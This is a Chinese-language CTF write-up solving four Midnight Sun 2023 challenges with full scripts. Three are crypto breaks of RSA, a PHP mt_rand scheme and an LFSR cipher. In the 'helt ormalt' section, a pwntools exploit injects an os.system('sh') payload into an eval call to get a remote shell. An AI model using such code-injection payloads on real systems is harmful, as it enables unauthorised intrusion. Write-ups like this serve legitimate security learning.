Midnight Sun CTF Qualifiers 2023 WriteUps

發表於 2023-04-09

分類於 CTF

這次在 xxx 隊伍中解了些 crypto 題目而已，題目比預期中簡單。

Crypto

ikea

p = random_prime(2**1024)
q = random_prime(2**1024)
a = randint(0, 2**1024)
b = randint(0, 2**1024)

def read_flag(file='flag.txt'):
    with open(file, 'rb') as fin:
        flag = fin.read()
    return flag

def pad_flag(flag, bits=1024):
    pad = os.urandom(bits//8 - len(flag))
    return int.from_bytes(flag + pad, "big")

def generate_keys(p, q):
    n = p * q
    e = 0x10001
    return n, e

def encrypt_message(m, e, n):
    return pow(m, e, n)

flag = read_flag()
m = pad_flag(flag)

n, e = generate_keys(p, q)
assert m < n

c = encrypt_message(m, e, n)

print(c)
print(n)
print(p + b^2 * q)
print(a^2 * p + q)

最後多的兩數設為 $k_1, k_2$ ，然後可以看出 $k_1k_2=(p+b^2q)(a^2p+q)=a^2p^2+b^2q^2+n+a^2b^2n$ 。注意一下 $a,b,p,q$ 大小都相近，所以 $\lfloor \sqrt{k_1k_2/n} \rfloor \approx ab$ ，實際上兩者的差大概 $1$ 左右而已所以可以爆 $ab$ 的值。

此時有四個未知數和四個等式，直接用 groebner basis 解就好了:

c = 8572900207835762766259060305548427890100883047397634495461699978853157157614537323169347948562539226943681557963690343113654640872734234635812404134737383783029729221882136594985076147296741783975976308542646646810930077508306094278881958489094577466122474005274780847502484006774122175180575134906406965261990134809789771668692230279546111615898299677351494730026393299745116126441043262641839846131458109835024756668882646302817842268403187061058095410531259459671076936340425779509762997737719853997033122063887141701633633320429028875760558509090378244944304521100714575766987495025277855338621083017737516612418
n = 11144809766924753211164169820974462795856999866851443978190116700121363041989551071283939406281584000345497130693285334786351068731714844065338178589052164965325272282738320690462179192218231489414187602007189279178640751309024526964298676986141201862905207755202946987885824563821850086298674083250354794989520315263319887676335677763156987501376451785566994901716198026893601133060745072362354091538721508265964958576574770694885291955086273571799403020416375990066994984333344295830201448319348356984141129557424755917133168216662244421360263592451413336939492881342257615928593787731918025125347411493314907250137
k1 = 3133548371772245794593916200216569789009977503838749561227383433777720559941789482302916747603629163277628624218728934067099751860342707727093284736792795911695291350493714661780427322085098620600442730601203727048863482544984150704785568558089024822242137835533188983145916911039381864946181510766072421365244229323632933214703949194559838270346065808390788292338719229269524606818971098272185892178470535466837645119304408225231332458404102608745644737712878232270144653748091436259421085576899894410825994764509434190271250735054775427479336540747164022736063724088385024013450114201117597406901351692873529770371805217775170905068961082711810613758277323468498024046033975544974993657043847859384646871490664090364968788225608324873580922409806934637562732699242491794243842510137720412106011270126856983601691379316962610115528724097947971496018172633530779698135626404996346034214279586492856257103552654185991624401974
k2 = 1668414440918184768102355070614199463515793278471647551081913918452877485930426726226888602387669498229921420169090265893271687426728329309931304042833872472475849661618647319286811295064264833639171767419811286840565958014252378459070198913214095511167368116072393143874905742547670514329775410132929858061858466466966832673233837546616958733459536386756690536101619509572857744943940172226354331174483476689882385303341939713713582201065151215959817799687574284712464653518663899972395427884233952547367314997783361776439415679136448860553029913121320416809081351610252174264463832509457873454643897905542501703122708259182482820112852708896076939481486564165447979041966168147292062612542988326875351534914932148857901377696892000822979439668349934754312002375192855438370671607139791178130484207096854031824894563191176002437196868004348552012031601430061559392941224723263095744921218764294325481602675909958988713011638

ab_approx = isqrt(k1 * k2 // n)
while True:
    P = QQ["pp,qq,aa,bb"]
    pp, qq, aa, bb = P.gens()
    I = P.ideal(
        [pp * qq - n, pp + bb ^ 2 * qq - k1, aa ^ 2 * pp + qq - k2, aa * bb - ab_approx]
    )
    V = I.variety(ring=ZZ)
    if len(V) == 0:
        ab_approx -= 1
        continue
    sol = V[0]
    ppp = ZZ(sol[pp])
    qqq = ZZ(sol[qq])
    if ppp * qqq == n:
        break
    ab_approx -= 1

phi = (ppp - 1) * (qqq - 1)
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
# midnight{1_kN0w_3n0ugh_4b0ut_RSA}

Mt. Random

<?php
session_start();

$flag = "midnight{abcd}";

function flag_to_numbers($flag) {
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end) {
    $rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += ($gap_end - $gap_start);
    }
    return $rand_num;
}

if(!str_starts_with($flag, "midnight{")){
    echo "Come back later.\n";
    exit();
}

$flag_numbers = flag_to_numbers($flag);

if (isset($_GET['generate_samples'])) {
    header('Content-Type: application/json');

    // Maybe we can recover these constants 
    $min = 0;
    $max = 0;
    $gap_start = 0;
    $gap_end = 0;
    $seed = mt_rand(0, 10000); // Varying seed
    $samples = [];

    foreach ($flag_numbers as $number) {
        mt_srand($seed + $number);
        $samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
    }

    echo json_encode(["samples" => $samples]);
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mt. Random</title>
</head>
<body>
    <h1>Hiking Guide</h1>
    <p>This mountain is boring, I'm going to sample alot of seeds!</p>
    <a href="?generate_samples=1">Get a new sample</a>
</body>
</html>

先寫個腳本把資料都抓下來，不用全部跑完也行:

import requests
import pickle
import os

all_samples = set()
if os.path.exists("all_samples.pkl"):
    with open("all_samples.pkl", "rb") as f:
        all_samples = pickle.load(f)
while len(all_samples) < 10001:
    samples = requests.get(
        "http://mtrandom-1.play.hfsc.tf:51237/?generate_samples=1"
    ).json()["samples"]
    all_samples.add(tuple(samples))
    print(len(all_samples))
    with open("all_samples.pkl", "wb") as f:
        pickle.dump(all_samples, f)

然後寫個腳本轉換成 json 並統計一下數字的出現次數可以很容易的看出 min, max, gap_start, gap_end:

import pickle
import json
from collections import Counter

with open('all_samples.pkl', 'rb') as f:
    all_samples = pickle.load(f)

with open('all_samples.json', 'w') as f:
    json.dump([list(x) for x in all_samples], f)

nums = []
for s in all_samples:
    for x in s:
        nums.append(x)
print(sorted(Counter(nums).keys()))

之後逐字元爆破 flag，判斷條件是看輸出的數字是否出現在 all samples 中:

<?php
function flag_to_numbers($flag)
{
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end)
{
    $rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += ($gap_end - $gap_start);
    }
    return $rand_num;
}

const SAMPLES = 10;
$flag = 'midnight{';
$all_samples = json_decode(file_get_contents('all_samples.json'));
$all_samples = array_slice($all_samples, 0, SAMPLES);

function try_flag($flag)
{
    global $all_samples;
    $flag_numbers = flag_to_numbers($flag);
    $x_all_samples = array_map(function ($samples) use ($flag_numbers) {
        return array_slice($samples, 0, count($flag_numbers));
    }, $all_samples);
    $min = 1;
    $max = 256;
    $gap_start = 100;
    $gap_end = 150;
    $seed = 0;
    $match_cnt = 0;
    while ($seed <= 10000) {
        $samples = [];
        foreach ($flag_numbers as $number) {
            mt_srand($seed + $number);
            $samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
        }
        if (in_array($samples, $x_all_samples)) {
            $match_cnt += 1;
        }
        $seed += 1;
    }
    return $match_cnt;
}

$charset = '_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$flag = 'midnight{m1nd_th3_g4p}';
while ($flag[-1] != '}') {
    $max_match_cnt = 0;
    $max_match_char = '';
    foreach (str_split($charset) as $char) {
        $match_cnt = try_flag($flag . $char);
        echo "$char: $match_cnt\n";
        if ($match_cnt > $max_match_cnt) {
            $max_match_cnt = $match_cnt;
            $max_match_char = $char;
        }
        if ($match_cnt >= SAMPLES / 2) {
            break;
        }
    }
    $flag .= $max_match_char;
    echo $flag . PHP_EOL;
}

helt ormalt

#!/usr/bin/python3 -u

__builtins__.KeyboardInterrupt = __builtins__.SystemExit
import hashlib
import asyncio
import asynccmd
del asynccmd.Cmd.do_test

from secrets import FLAG, KEY, CREDS

H = lambda b: hashlib.sha256(b).digest()
EH = lambda *x: print(x[1]['exception'])


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


class Validator:
    def __init__(self, buf):
        self.buf = buf
        self.counter = 0

    async def __invert__(self):
        self.counter += 1
        assert self.counter < 10000, "Invalid login"
        xx = xor(H(self.buf[-32:]), self.buf[:32])
        self.buf = xx + xor(H(xx), self.buf[-32:])

    def __radd__(self, *args):
        eval(self.buf[:-32])

    def __bool__(self, *args, **kwargs):
        return H(self.buf[:32]+KEY) == self.buf[-32:]


class Cli(asynccmd.Cmd):
    intro = f'Guest credentials: guest / {CREDS}'
    prompt = '>>> '
    score = 0

    def __init__(self, loop):
        self.cmdloop(loop)
        self.loop.set_exception_handler(EH)

    def do_login(self, arg):
        try:
            user, password = arg.split()
            self.loop.create_task(self.login(user, password))
        except ValueError:
            raise RuntimeError('Usage: login [username] [password]')

    async def login(self, user, password):
        if await self.validate(bytes.fromhex(password)):
            print("Logged in as {user}.")

    async def validate(self, aval):
        bval = Validator(aval)
        while not bval:
            await (~bval)
        self.score += bval

    def do_play_game_and_get_points(self, arg):
        raise NotImplementedError('TODO later, maybe.')

    def do_flag(self, arg):
        try:
            assert self.score > 1337
            print(FLAG)
        except Exception:
            print("Not yet.")


async def main():
    Cli(asyncio.get_event_loop())
    await asyncio.sleep(60)

if __name__ == '__main__':
    asyncio.run(main())

可以注意到它 password 在經過一些 loop 之後直到 hash 有對上後會 eval，而在 remote 登入成功時也沒 error 所以可推斷 eval 的東西應該是正常的字串，所以可以用個 loop 反覆去找那個字串看看是什麼。一個簡單的判斷條件就是 isascii。

找到的 eval 字串是: print('\nLogged in as guest.\n')，不過這不是很重要，要知道的只有它對應的後 32 bytes 是對應的 MAC 而已，

另一個關鍵在於它 signature 時只 hash 前 32 字元，和後 32 字元做比較，所以如果我們在中間塞東西的話一樣能通過那個檢查，而 eval(self.buf[:-32]) 卻會包含我們塞進去的東西，所以這邊有 code injection，很簡單就能拿 shell 了。

from pwn import remote
import hashlib

H = lambda b: hashlib.sha256(b).digest()


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


class Validator:
    def __init__(self, buf):
        self.buf = buf
        self.counter = 0

    def __invert__(self):
        self.counter += 1
        assert self.counter < 10000, "Invalid login"
        xx = xor(H(self.buf[-32:]), self.buf[:32])
        self.buf = xx + xor(H(xx), self.buf[-32:])


io = remote("heltormalt-1.play.hfsc.tf", 2437)
io.recvuntil(b"guest / ")
pwd = io.recvlineS().strip()
v = Validator(bytes.fromhex(pwd))
while True:
    if v.buf[:-32].isascii():
        print(v.counter, v.buf)
        break
    ~v
pwd2 = (v.buf[:32] + b',__import__("os").system("sh")' + v.buf[-32:]).hex()
io.sendline(f"login guest {pwd2}".encode())
io.interactive()
# env
# midnight{aval_bval_eval}

server 上那個隱藏的 secrets.py:

import os
import hashlib
import random

FLAG = os.getenv('FLAG')
KEY = os.urandom(32)

H = lambda b : hashlib.sha256(b).digest()

def xor(a,b):
	return bytes(x^y for x,y in zip(a,b))

CREDS = b"print('\\nLogged in as guest.\\n')"
CREDS = CREDS + H(CREDS+KEY)

for _ in range(1337 + random.randint(0, 1000)):
	buf = CREDS
	b = xor(H(buf[:32]), buf[-32:])
	a = xor(H(b), buf[:32])
	CREDS = a + b

CREDS = CREDS.hex()

del H, xor

dancing bits

import os
import zlib
from flask import Flask, request, jsonify
from secrets import token_bytes

app = Flask(__name__)

# The secret key and nonce for the DancingBits stream cipher
SECRET_KEY = int.from_bytes(token_bytes(4), 'big')
NONCE = int.from_bytes(token_bytes(4), 'big')

FLAG = "midnight{test}"

def lfsr(state):
    bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
    return (state << 1) | bit

def rotl(x, k):
    return ((x << k) | (x >> (8 - k))) & 0xff

def swap(x):
    return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4)

def dancingbits_encrypt(plaintext, key, nonce):
    state = (key << 32) | nonce
    ciphertext = bytearray()

    for byte in plaintext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = byte ^ ks_byte
        c = rotl(c, 3)
        c = swap(c)
        ciphertext.append(c)

    return ciphertext

def dancingbits_decrypt(ciphertext, key, nonce):
    state = (key << 32) | nonce
    plaintext = bytearray()

    for byte in ciphertext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = swap(byte)
        c = rotl(c, -3)
        p = c ^ ks_byte
        plaintext.append(p)

    return plaintext

@app.route('/encrypted_flag', methods=['GET'])
def encrypted_flag():
    compressed_flag = zlib.compress(FLAG.encode('utf-8'))
    encrypted_flag = dancingbits_encrypt(compressed_flag, SECRET_KEY, NONCE)
    return encrypted_flag

@app.route('/decrypt_oracle', methods=['POST'])
def decrypt_oracle():
    encrypted_data = request.data

    if len(encrypted_data) < 1:
        return jsonify(status=500, message="Error: Data too short")


    try:
        decrypted_data = dancingbits_decrypt(encrypted_data, SECRET_KEY, NONCE)
        decompressed_data = zlib.decompress(decrypted_data)

        for i in range(len(decompressed_data.decode('utf-8'))):
            if decompressed_data.decode('utf-8')[i] == FLAG[i]:
                return jsonify(status=500, message="Error: CTF character at index found: " + str(i))
        return jsonify(status=200, message="Success")
    except Exception as e:
        print(e)
        return jsonify(status=500, message="Error")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

看起來是 oracle 題，但是 dancingbits_decrypt 因為那個 -3 的緣故其實是不能用的，畢竟 python 不允許使用負數來做 shifting。

題目關鍵主要在於它 state 轉換是個 lfsr，整個都是線性的，所以應該是能用一個 linear system 解。而 plaintext 部分是 zlib 壓縮的，結合 flag prefix 我們一共可以知道 11 bytes 的 plaintext。

不過用 sage 弄 linear system 有點麻煩，所以我直接偷懶用 z3，不過最後弄出來發現 key 不是唯一的，而用 z3 去 enumerate 所有的可能並不是很有效率，所以需要找個方法算出 key 的 linear system 的 kernel 才方便爆破。

註: 這邊說的 key 其實是指 (key << 32) | nonce)

我的方法是先用 z3 enumerate 大概 1000 把可能的 key，然後觀察有改變的 bits 就能知道 kernel 的 index 了。不過這邊會發現它一共有 4x 個 indexes，以 bruteforce 來說不是不行但計算量還是有點大。後來再仔細看一次 code 我才發現 lfsr 只有 32 bits，所以代表那個 SECRET_KEY 根本沒用，所以未知的 bits 只有 32 bits。這樣再找一次 kernel 的 indexes 會發現只剩 14 個，所以直接 bruteforce 可能的 key 即可。

from z3 import *
import requests
import zlib
from binteger import Bin
from itertools import product


def lfsr(state):
    bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
    return (state << 1) | bit


def rotl(x, k):
    return ((x << k) | (x >> (8 - k))) & 0xFF


def swap(x):
    return ((x & 0x0F) << 4) | ((x & 0xF0) >> 4)


def dancingbits_decrypt(ciphertext, kn):
    state = kn
    plaintext = bytearray()

    for byte in ciphertext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xFF
        c = swap(byte)
        c = rotl(c, 8 - 3)
        p = c ^ ks_byte
        plaintext.append(p)

    return plaintext


def z3_lfsr(state):
    bit = ((LShR(state, 31)) ^ (LShR(state, 21)) ^ (LShR(state, 1)) ^ state) & 1
    return (state << 1) | bit


def z3_rotl(x, k):
    return RotateLeft(x, k)


def z3_swap(x):
    return Concat(Extract(3, 0, x), Extract(7, 4, x))


def z3_dancingbits_encrypt(plaintext, keynonce):
    state = keynonce
    ciphertext = []

    for byte in plaintext:
        state = z3_lfsr(state)
        ks_byte = Extract(7, 0, LShR(state, 24))
        c = byte ^ ks_byte
        c = z3_rotl(c, 3)
        c = z3_swap(c)
        ciphertext.append(c)

    return ciphertext


# ct = requests.get("http://dancingbits-1.play.hfsc.tf:23105/encrypted_flag").content
ct = b"\xf0\xd7\xd6\x00k\xfeQ\xcf43\x1a\x8a\xdf\xee\xaa\xbc.\xf8\x1d\xd4\x7fZ\xdd#~F\xbcl\xf0k|,\xf8\xb9\x1f`8X5\x915\xad\x1a"
print(ct)
pt = zlib.compress(b"midnight{xxxxx")[:11]

keynonce = BitVec("kn", 64)
sol = Solver()
sol.add(Extract(63, 32, keynonce) == 0)  # LFSR is 32 bits, so key doesn't matter
ct_sym = z3_dancingbits_encrypt(pt, keynonce)
for x, y in zip(ct, ct_sym):
    sol.add(x == y)

# there are mutliple solutions, we try to find the kernel
pos = [set() for _ in range(64)]
cnt = 0
while sol.check() == sat and cnt < 1000:
    m = sol.model()
    kn = m[keynonce].as_long()
    for i, x in enumerate(Bin(kn, 64).list):
        pos[i].add(x)
    sol.add(keynonce != kn)
    cnt += 1
kernel = []
for i, x in enumerate(pos):
    print(i, x)
    if len(x) == 2:
        kernel.append(i)
print(kernel)

# brute force the kernel
bv = Bin(kn, 64).list
for bs in product((0, 1), repeat=len(kernel)):
    for i, b in zip(kernel, bs):
        bv[i] = b
    rec_pt = dancingbits_decrypt(ct, Bin(bv).int)
    try:
        print(zlib.decompress(rec_pt))
    except:
        pass
# midnight{th3_h0t_n3w_str3am_c1pher}

Crypto#

ikea#

Mt. Random#

helt ormalt#

dancing bits#

Crypto

ikea

Mt. Random

helt ormalt

dancing bits